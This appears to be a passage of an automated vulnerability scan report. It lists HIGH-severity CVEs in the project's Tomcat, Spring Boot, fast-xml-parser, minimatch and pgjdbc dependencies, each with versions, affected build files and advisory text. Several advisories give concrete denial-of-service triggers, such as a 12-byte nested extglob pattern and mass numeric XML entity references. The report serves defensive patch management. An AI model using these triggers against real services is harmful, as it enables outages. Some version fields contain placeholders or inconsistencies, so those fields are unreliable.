Reference: https://avd.aquasec.com/nvd/cve-2026-24400

CVE-2026-24734 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: HIGH

Installed Version: 10.1.44

Fixed Version: 11.0.18, 10.1.52, 9.0.115

Target: distro/run/core/pom.xml

Title: tomcat: Apache Tomcat: Certificate revocation bypass due to improper OCSP response validation

Description:
Improper Input Validation vulnerability in Apache Tomcat Native, Apache Tomcat.

When using an OCSP responder, Tomcat Native (and Tomcat's FFM port of the Tomcat Native code) did not complete verification or freshness checks on the OCSP response which could allow certificate revocation to be bypassed.

This issue affects Apache Tomcat Native:  from 1.3.0 through 1.3.4, from 2.0.0 through 2.0.11; Apache Tomcat: from 11.0.0-M1 through 11.0.17, from 10.1.0-M7 through 10.1.51, from 9.0.83 through 9.0.114.


The following versions were EOL at the time the CVE was created but are
known to be affected: from 1.1.23 through 1.1.34, from 1.2.0 through 1.2.39. Older EOL versions are not affected.

Apache Tomcat Native users are recommended to upgrade to versions 1.3.5 or later or 2.0.12 or later, which fix the issue.

Apache Tomcat users are recommended to upgrade to versions 11.0.18 or later, 10.1.52 or later or 9.0.115 or later which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-24734

CVE-2026-24734 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: HIGH

Installed Version: 10.1.44

Fixed Version: 11.0.18, 10.1.52, 9.0.115

Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml

Title: tomcat: Apache Tomcat: Certificate revocation bypass due to improper OCSP response validation

Description:
Improper Input Validation vulnerability in Apache Tomcat Native, Apache Tomcat.

When using an OCSP responder, Tomcat Native (and Tomcat's FFM port of the Tomcat Native code) did not complete verification or freshness checks on the OCSP response which could allow certificate revocation to be bypassed.

This issue affects Apache Tomcat Native:  from 1.3.0 through 1.3.4, from 2.0.0 through 2.0.11; Apache Tomcat: from 11.0.0-M1 through 11.0.17, from 10.1.0-M7 through 10.1.51, from 9.0.83 through 9.0.114.


The following versions were EOL at the time the CVE was created but are
known to be affected: from 1.1.23 through 1.1.34, from 1.2.0 through 1.2.39. Older EOL versions are not affected.

Apache Tomcat Native users are recommended to upgrade to versions 1.3.5 or later or 2.0.12 or later, which fix the issue.

Apache Tomcat users are recommended to upgrade to versions 11.0.18 or later, 10.1.52 or later or 9.0.115 or later which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-24734

CVE-2026-24734 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: HIGH

Installed Version: 10.1.44

Fixed Version: 11.0.18, 10.1.52, 9.0.115

Target: spring-boot-starter/starter-webapp-core/pom.xml

Title: tomcat: Apache Tomcat: Certificate revocation bypass due to improper OCSP response validation

Description:
Improper Input Validation vulnerability in Apache Tomcat Native, Apache Tomcat.

When using an OCSP responder, Tomcat Native (and Tomcat's FFM port of the Tomcat Native code) did not complete verification or freshness checks on the OCSP response which could allow certificate revocation to be bypassed.

This issue affects Apache Tomcat Native:  from 1.3.0 through 1.3.4, from 2.0.0 through 2.0.11; Apache Tomcat: from 11.0.0-M1 through 11.0.17, from 10.1.0-M7 through 10.1.51, from 9.0.83 through 9.0.114.


The following versions were EOL at the time the CVE was created but are
known to be affected: from 1.1.23 through 1.1.34, from 1.2.0 through 1.2.39. Older EOL versions are not affected.

Apache Tomcat Native users are recommended to upgrade to versions 1.3.5 or later or 2.0.12 or later, which fix the issue.

Apache Tomcat users are recommended to upgrade to versions 11.0.18 or later, 10.1.52 or later or 9.0.115 or later which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-24734

CVE-2026-24880 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: HIGH

Installed Version: 10.1.44

Fixed Version: 9.0.116, 10.1.52, 11.0.20

Target: distro/run/core/pom.xml

Title: Apache Tomcat: Apache Tomcat: HTTP Request/Response Smuggling via invalid chunk extension

Description:
Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') vulnerability in Apache Tomcat via invalid chunk extension.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.18, from 10.1.0-M1 through 10.1.52, from 9.0.0.M1 through 9.0.115, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.
Other, unsupported versions may also be affected.

Users are recommended to upgrade to version 11.0.20, 10.1.52 or 9.0.116, which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-24880

CVE-2026-24880 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: HIGH

Installed Version: 10.1.44

Fixed Version: 9.0.116, 10.1.52, 11.0.20

Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml

Title: Apache Tomcat: Apache Tomcat: HTTP Request/Response Smuggling via invalid chunk extension

Description:
Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') vulnerability in Apache Tomcat via invalid chunk extension.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.18, from 10.1.0-M1 through 10.1.52, from 9.0.0.M1 through 9.0.115, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.
Other, unsupported versions may also be affected.

Users are recommended to upgrade to version 11.0.20, 10.1.52 or 9.0.116, which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-24880

CVE-2026-24880 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: HIGH

Installed Version: 10.1.44

Fixed Version: 9.0.116, 10.1.52, 11.0.20

Target: spring-boot-starter/starter-webapp-core/pom.xml

Title: Apache Tomcat: Apache Tomcat: HTTP Request/Response Smuggling via invalid chunk extension

Description:
Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') vulnerability in Apache Tomcat via invalid chunk extension.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.18, from 10.1.0-M1 through 10.1.52, from 9.0.0.M1 through 9.0.115, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.
Other, unsupported versions may also be affected.

Users are recommended to upgrade to version 11.0.20, 10.1.52 or 9.0.116, which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-24880

CVE-2026-26278 - fast-xml-parser

Status: CONTINUED

Severity: HIGH

Installed Version: 4.3.4

Fixed Version: 4.5.4, 5.3.6

Target: webapps/frontend/package-lock.json

Title: fast-xml-parser: fast-xml-parser: Denial of Service via unlimited XML entity expansion

Description:
fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. In versions 4.1.3 through 5.3.5, the XML parser can be forced to do an unlimited amount of entity expansion. With a very small XML input, it’s possible to make the parser spend seconds or even minutes processing a single request, effectively freezing the application. Version 5.3.6 fixes the issue. As a workaround, avoid using DOCTYPE parsing by `processEntities: false` option.

Reference: https://avd.aquasec.com/nvd/cve-2026-26278

CVE-2026-26278 - fast-xml-parser

Status: CONTINUED

Severity: HIGH

Installed Version: 4.5.3

Fixed Version: 4.5.4, 5.3.6

Target: engine-rest/docs/package-lock.json

Title: fast-xml-parser: fast-xml-parser: Denial of Service via unlimited XML entity expansion

Description:
fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. In versions 4.1.3 through 5.3.5, the XML parser can be forced to do an unlimited amount of entity expansion. With a very small XML input, it’s possible to make the parser spend seconds or even minutes processing a single request, effectively freezing the application. Version 5.3.6 fixes the issue. As a workaround, avoid using DOCTYPE parsing by `processEntities: false` option.

Reference: https://avd.aquasec.com/nvd/cve-2026-26278

CVE-2026-26996 - minimatch

Status: CONTINUED

Severity: HIGH

Installed Version: 5.1.6

Fixed Version: 10.2.1, 9.0.6, 8.0.5, 7.4.7, 6.2.1, 5.1.7, 4.2.4, 3.1.3

Target: engine-rest/docs/package-lock.json

Title: minimatch: minimatch: Denial of Service via specially crafted glob patterns

Description:
minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Versions 10.2.0 and below are vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits. The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever. Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This issue has been fixed in version 10.2.1.

Reference: https://avd.aquasec.com/nvd/cve-2026-26996

CVE-2026-27903 - minimatch

Status: CONTINUED

Severity: HIGH

Installed Version: 5.1.6

Fixed Version: 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, 3.1.3

Target: engine-rest/docs/package-lock.json

Title: minimatch: minimatch: Denial of Service due to unbounded recursive backtracking via crafted glob patterns

Description:
minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Prior to version 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3, `matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. Any application where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature. Versions 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3 fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-27903

CVE-2026-27904 - minimatch

Status: CONTINUED

Severity: HIGH

Installed Version: 5.1.6

Fixed Version: 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, 3.1.4

Target: engine-rest/docs/package-lock.json

Title: minimatch: Minimatch: Denial of Service via catastrophic backtracking in glob expressions

Description:
minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Prior to version 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.4, nested `*()` extglobs produce regexps with nested unbounded quantifiers (e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8. With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input, `minimatch()` stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default `minimatch()` API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects `+()` extglobs equally. Versions 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.4 fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-27904

CVE-2026-33036 - fast-xml-parser

Status: CONTINUED

Severity: HIGH

Installed Version: 4.3.4

Fixed Version: 5.5.6, 4.5.5

Target: webapps/frontend/package-lock.json

Title: fast-xml-parser: fast-xml-parser: Denial of Service via XML entity expansion bypass

Description:
fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. Versions 4.0.0-beta.3 through 5.5.5 contain a bypass vulnerability where numeric character references (&#NNN;, &#xHH;) and standard XML entities completely evade the entity expansion limits (e.g., maxTotalExpansions, maxExpandedLength) added to fix CVE-2026-26278, enabling XML entity expansion Denial of Service. The root cause is that replaceEntitiesValue() in OrderedObjParser.js only enforces expansion counting on DOCTYPE-defined entities while the lastEntities loop handling numeric/standard entities performs no counting at all. An attacker supplying 1M numeric entity references like &#65; can force ~147MB of memory allocation and heavy CPU usage, potentially crashing the process—even when developers have configured strict limits. This issue has been fixed in version 5.5.6.

Reference: https://avd.aquasec.com/nvd/cve-2026-33036

CVE-2026-33036 - fast-xml-parser

Status: CONTINUED

Severity: HIGH

Installed Version: 4.5.3

Fixed Version: 5.5.6, 4.5.5

Target: engine-rest/docs/package-lock.json

Title: fast-xml-parser: fast-xml-parser: Denial of Service via XML entity expansion bypass

Description:
fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. Versions 4.0.0-beta.3 through 5.5.5 contain a bypass vulnerability where numeric character references (&#NNN;, &#xHH;) and standard XML entities completely evade the entity expansion limits (e.g., maxTotalExpansions, maxExpandedLength) added to fix CVE-2026-26278, enabling XML entity expansion Denial of Service. The root cause is that replaceEntitiesValue() in OrderedObjParser.js only enforces expansion counting on DOCTYPE-defined entities while the lastEntities loop handling numeric/standard entities performs no counting at all. An attacker supplying 1M numeric entity references like &#65; can force ~147MB of memory allocation and heavy CPU usage, potentially crashing the process—even when developers have configured strict limits. This issue has been fixed in version 5.5.6.

Reference: https://avd.aquasec.com/nvd/cve-2026-33036

CVE-2026-34483 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: HIGH

Installed Version: 10.1.44

Fixed Version: 9.0.116, 10.1.54, 11.0.21

Target: distro/run/core/pom.xml

Title: Apache Tomcat: Apache Tomcat: Information disclosure due to improper encoding in JsonAccessLogValve

Description:
Improper Encoding or Escaping of Output vulnerability in the JsonAccessLogValve component of Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.20, from 10.1.0-M1 through 10.1.53, from 9.0.40 through 9.0.116.

Users are recommended to upgrade to version 11.0.21, 10.1.54 or 9.0.117 , which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-34483

CVE-2026-34483 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: HIGH

Installed Version: 10.1.44

Fixed Version: 9.0.116, 10.1.54, 11.0.21

Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml

Title: Apache Tomcat: Apache Tomcat: Information disclosure due to improper encoding in JsonAccessLogValve

Description:
Improper Encoding or Escaping of Output vulnerability in the JsonAccessLogValve component of Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.20, from 10.1.0-M1 through 10.1.53, from 9.0.40 through 9.0.116.

Users are recommended to upgrade to version 11.0.21, 10.1.54 or 9.0.117 , which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-34483

CVE-2026-34483 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: HIGH

Installed Version: 10.1.44

Fixed Version: 9.0.116, 10.1.54, 11.0.21

Target: spring-boot-starter/starter-webapp-core/pom.xml

Title: Apache Tomcat: Apache Tomcat: Information disclosure due to improper encoding in JsonAccessLogValve

Description:
Improper Encoding or Escaping of Output vulnerability in the JsonAccessLogValve component of Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.20, from 10.1.0-M1 through 10.1.53, from 9.0.40 through 9.0.116.

Users are recommended to upgrade to version 11.0.21, 10.1.54 or 9.0.117 , which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-34483

CVE-2026-34483 - org.apache.tomcat:tomcat

Status: CONTINUED

Severity: HIGH

Installed Version: 10.1.43

Fixed Version: 9.0.116, 10.1.54, 11.0.21

Target: distro/tomcat/assembly/pom.xml

Title: Apache Tomcat: Apache Tomcat: Information disclosure due to improper encoding in JsonAccessLogValve

Description:
Improper Encoding or Escaping of Output vulnerability in the JsonAccessLogValve component of Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.20, from 10.1.0-M1 through 10.1.53, from 9.0.40 through 9.0.116.

Users are recommended to upgrade to version 11.0.21, 10.1.54 or 9.0.117 , which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-34483

CVE-2026-34487 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: HIGH

Installed Version: 10.1.44

Fixed Version: 9.0.117, 10.1.54, 11.0.21

Target: distro/run/core/pom.xml

Title: Apache Tomcat: Apache Tomcat: Information disclosure via sensitive data in log files

Description:
Insertion of Sensitive Information into Log File vulnerability in the cloud membership for clustering component of Apache Tomcat exposed the Kubernetes bearer token.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.20, from 10.1.0-M1 through 10.1.53, from 9.0.13 through 9.0.116.

Users are recommended to upgrade to version 11.0.21, 10.1.54 or 9.0.117, which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-34487

CVE-2026-34487 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: HIGH

Installed Version: 10.1.44

Fixed Version: 9.0.117, 10.1.54, 11.0.21

Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml

Title: Apache Tomcat: Apache Tomcat: Information disclosure via sensitive data in log files

Description:
Insertion of Sensitive Information into Log File vulnerability in the cloud membership for clustering component of Apache Tomcat exposed the Kubernetes bearer token.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.20, from 10.1.0-M1 through 10.1.53, from 9.0.13 through 9.0.116.

Users are recommended to upgrade to version 11.0.21, 10.1.54 or 9.0.117, which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-34487

CVE-2026-34487 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: HIGH

Installed Version: 10.1.44

Fixed Version: 9.0.117, 10.1.54, 11.0.21

Target: spring-boot-starter/starter-webapp-core/pom.xml

Title: Apache Tomcat: Apache Tomcat: Information disclosure via sensitive data in log files

Description:
Insertion of Sensitive Information into Log File vulnerability in the cloud membership for clustering component of Apache Tomcat exposed the Kubernetes bearer token.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.20, from 10.1.0-M1 through 10.1.53, from 9.0.13 through 9.0.116.

Users are recommended to upgrade to version 11.0.21, 10.1.54 or 9.0.117, which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-34487

CVE-2026-34487 - org.apache.tomcat:tomcat

Status: CONTINUED

Severity: HIGH

Installed Version: 10.1.43

Fixed Version: 9.0.117, 10.1.54, 11.0.21

Target: distro/tomcat/assembly/pom.xml

Title: Apache Tomcat: Apache Tomcat: Information disclosure via sensitive data in log files

Description:
Insertion of Sensitive Information into Log File vulnerability in the cloud membership for clustering component of Apache Tomcat exposed the Kubernetes bearer token.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.20, from 10.1.0-M1 through 10.1.53, from 9.0.13 through 9.0.116.

Users are recommended to upgrade to version 11.0.21, 10.1.54 or 9.0.117, which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-34487

CVE-2026-40973 - org.springframework.boot:spring-boot

Status: CONTINUED

Severity: HIGH

Installed Version: 3.5.5

Fixed Version: 4.0.6, 3.5.14

Target: spring-boot-starter/starter-client/spring-boot/pom.xml

Title: Spring Boot: Spring Boot: Arbitrary Code Execution and Session Hijacking via predictable temporary directory

Description:
A local attacker on the same host as the application may be able to take control of the directory used by `ApplicationTemp`. When `server.servlet.session.persistent` is set to `true` and the attack persists across application restarts, this may allow the attacker to read session information and hijack authenticated users or deploy a gadget chain and execute code as the application's user.

Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); predictable temp directory / `ApplicationTemp` ownership verification. Versions that are no longer supported are also affected per vendor advisory.

Reference: https://avd.aquasec.com/nvd/cve-2026-40973

CVE-2026-40973 - org.springframework.boot:spring-boot

Status: CONTINUED

Severity: HIGH

Installed Version: 3.5.5

Fixed Version: 4.0.6, 3.5.14

Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml

Title: Spring Boot: Spring Boot: Arbitrary Code Execution and Session Hijacking via predictable temporary directory

Description:
A local attacker on the same host as the application may be able to take control of the directory used by `ApplicationTemp`. When `server.servlet.session.persistent` is set to `true` and the attack persists across application restarts, this may allow the attacker to read session information and hijack authenticated users or deploy a gadget chain and execute code as the application's user.

Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); predictable temp directory / `ApplicationTemp` ownership verification. Versions that are no longer supported are also affected per vendor advisory.

Reference: https://avd.aquasec.com/nvd/cve-2026-40973

CVE-2026-40973 - org.springframework.boot:spring-boot

Status: CONTINUED

Severity: HIGH

Installed Version: 3.5.5

Fixed Version: 4.0.6, 3.5.14

Target: spring-boot-starter/starter-security/pom.xml

Title: Spring Boot: Spring Boot: Arbitrary Code Execution and Session Hijacking via predictable temporary directory

Description:
A local attacker on the same host as the application may be able to take control of the directory used by `ApplicationTemp`. When `server.servlet.session.persistent` is set to `true` and the attack persists across application restarts, this may allow the attacker to read session information and hijack authenticated users or deploy a gadget chain and execute code as the application's user.

Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); predictable temp directory / `ApplicationTemp` ownership verification. Versions that are no longer supported are also affected per vendor advisory.

Reference: https://avd.aquasec.com/nvd/cve-2026-40973

CVE-2026-40973 - org.springframework.boot:spring-boot

Status: CONTINUED

Severity: HIGH

Installed Version: 3.5.5

Fixed Version: 4.0.6, 3.5.14

Target: spring-boot-starter/starter-test/pom.xml

Title: Spring Boot: Spring Boot: Arbitrary Code Execution and Session Hijacking via predictable temporary directory

Description:
A local attacker on the same host as the application may be able to take control of the directory used by `ApplicationTemp`. When `server.servlet.session.persistent` is set to `true` and the attack persists across application restarts, this may allow the attacker to read session information and hijack authenticated users or deploy a gadget chain and execute code as the application's user.

Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); predictable temp directory / `ApplicationTemp` ownership verification. Versions that are no longer supported are also affected per vendor advisory.

Reference: https://avd.aquasec.com/nvd/cve-2026-40973

CVE-2026-40973 - org.springframework.boot:spring-boot

Status: CONTINUED

Severity: HIGH

Installed Version: 3.5.5

Fixed Version: 4.0.6, 3.5.14

Target: spring-boot-starter/starter-webapp-core/pom.xml

Title: Spring Boot: Spring Boot: Arbitrary Code Execution and Session Hijacking via predictable temporary directory

Description:
A local attacker on the same host as the application may be able to take control of the directory used by `ApplicationTemp`. When `server.servlet.session.persistent` is set to `true` and the attack persists across application restarts, this may allow the attacker to read session information and hijack authenticated users or deploy a gadget chain and execute code as the application's user.

Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); predictable temp directory / `ApplicationTemp` ownership verification. Versions that are no longer supported are also affected per vendor advisory.

Reference: https://avd.aquasec.com/nvd/cve-2026-40973

CVE-2026-40973 - org.springframework.boot:spring-boot

Status: CONTINUED

Severity: HIGH

Installed Version: 3.5.5

Fixed Version: 4.0.6, 3.5.14

Target: spring-boot-starter/starter/pom.xml

Title: Spring Boot: Spring Boot: Arbitrary Code Execution and Session Hijacking via predictable temporary directory

Description:
A local attacker on the same host as the application may be able to take control of the directory used by `ApplicationTemp`. When `server.servlet.session.persistent` is set to `true` and the attack persists across application restarts, this may allow the attacker to read session information and hijack authenticated users or deploy a gadget chain and execute code as the application's user.

Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); predictable temp directory / `ApplicationTemp` ownership verification. Versions that are no longer supported are also affected per vendor advisory.

Reference: https://avd.aquasec.com/nvd/cve-2026-40973

CVE-2026-41284 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: HIGH

Installed Version: 10.1.44

Fixed Version: 9.0.118, 10.1.55, 11.0.22

Target: distro/run/core/pom.xml

Title: Allocation of Resources Without Limits or Throttling vulnerability in ...

Description:
Allocation of Resources Without Limits or Throttling vulnerability in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117.
Older, unsupported versions may also be affected.

Users are recommended to upgrade to version [FIXED_VERSION], which fixes the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-41284

CVE-2026-41284 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: HIGH

Installed Version: 10.1.44

Fixed Version: 9.0.118, 10.1.55, 11.0.22

Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml

Title: Allocation of Resources Without Limits or Throttling vulnerability in ...

Description:
Allocation of Resources Without Limits or Throttling vulnerability in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117.
Older, unsupported versions may also be affected.

Users are recommended to upgrade to version [FIXED_VERSION], which fixes the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-41284

CVE-2026-41284 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: HIGH

Installed Version: 10.1.44

Fixed Version: 9.0.118, 10.1.55, 11.0.22

Target: spring-boot-starter/starter-webapp-core/pom.xml

Title: Allocation of Resources Without Limits or Throttling vulnerability in ...

Description:
Allocation of Resources Without Limits or Throttling vulnerability in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117.
Older, unsupported versions may also be affected.

Users are recommended to upgrade to version [FIXED_VERSION], which fixes the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-41284

CVE-2026-41284 - org.apache.tomcat:tomcat

Status: CONTINUED

Severity: HIGH

Installed Version: 10.1.43

Fixed Version: 9.0.118, 10.1.55, 11.0.22

Target: distro/tomcat/assembly/pom.xml

Title: Allocation of Resources Without Limits or Throttling vulnerability in ...

Description:
Allocation of Resources Without Limits or Throttling vulnerability in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117.
Older, unsupported versions may also be affected.

Users are recommended to upgrade to version [FIXED_VERSION], which fixes the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-41284

CVE-2026-42198 - org.postgresql:postgresql

Status: CONTINUED

Severity: HIGH

Installed Version: 42.5.5

Fixed Version: 42.7.11

Target: qa/tomcat-runtime/pom.xml

Title: jdbc.postgresql.org: pgjdbc: Client-side Denial of Service via malicious SCRAM-SHA-256 authentication

Description:
pgjdbc is an open source postgresql JDBC Driver. From version 42.2.0 to before version 42.7.11, pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication. A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count. With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail. A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools. In affected versions, loginTimeout did not fully mitigate this problem. When loginTimeout expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation. This issue has been patched in version 42.7.11.

Reference: https://avd.aquasec.com/nvd/cve-2026-42198

CVE-2026-42198 - org.postgresql:postgresql

Status: CONTINUED

Severity: HIGH

Installed Version: 42.5.5

Fixed Version: 42.7.11

Target: qa/tomcat9-runtime/pom.xml

Title: jdbc.postgresql.org: pgjdbc: Client-side Denial of Service via malicious SCRAM-SHA-256 authentication

Description:
pgjdbc is an open source postgresql JDBC Driver. From version 42.2.0 to before version 42.7.11, pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication. A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count. With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail. A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools. In affected versions, loginTimeout did not fully mitigate this problem. When loginTimeout expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation. This issue has been patched in version 42.7.11.

Reference: https://avd.aquasec.com/nvd/cve-2026-42198

CVE-2026-42198 - org.postgresql:postgresql

Status: CONTINUED

Severity: HIGH

Installed Version: 42.5.5

Fixed Version: 42.7.11

Target: qa/wildfly-runtime/pom.xml

Title: jdbc.postgresql.org: pgjdbc: Client-side Denial of Service via malicious SCRAM-SHA-256 authentication

Description:
pgjdbc is an open source postgresql JDBC Driver. From version 42.2.0 to before version 42.7.11, pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication. A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count. With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail. A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools. In affected versions, loginTimeout did not fully mitigate this problem. When loginTimeout expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation. This issue has been patched in version 42.7.11.

Reference: https://avd.aquasec.com/nvd/cve-2026-42198

